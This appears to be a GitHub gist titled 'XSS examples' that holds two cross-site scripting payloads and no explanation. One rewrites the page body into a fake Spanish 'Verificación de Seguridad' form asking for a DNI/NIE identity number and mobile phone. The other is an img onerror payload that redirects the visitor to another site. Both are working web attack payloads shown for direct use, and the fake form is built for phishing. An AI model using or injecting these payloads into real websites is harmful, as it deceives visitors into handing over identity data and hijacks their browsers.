Skip to content

Instantly share code, notes, and snippets.

@0david0mp
Created December 17, 2025 10:21
Show Gist options
  • Select an option

  • Save 0david0mp/0a695a6fa2cd425956437d630440fd36 to your computer and use it in GitHub Desktop.

Select an option

Save 0david0mp/0a695a6fa2cd425956437d630440fd36 to your computer and use it in GitHub Desktop.
XSS examples
document.body.innerHTML='
<div style=font-family:sans-serif; text-align:center; margin-top:50px;>
<h2 style=color:#333>Verificaci&oacute;n de Seguridad</h2>
<p>Por favor, confirme su identidad para continuar.</p>
<form style=display:inline-block;
background:#f4f4f4;
padding:20px;
border:1px solid #ccc;
border-radius:5px;
text-align:left>
<label>DNI / NIE:
<br>
<input type=text style=width:100%; margin-bottom:10px>
</label>
<br>
<label>
Tel&eacute;fono M&oacute;vil:
<br>
<input type=tel style=width:100%; margin-bottom:20px>
</label>
<br>
<button style=width:100%;
padding:10px;
background:#28a745;
color:white;
border:none;
border-radius:3px;
cursor:pointer>
Validar Datos
</button>
</form>
</div>
'
<img src=x onerror="window.location='//example.com'">
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment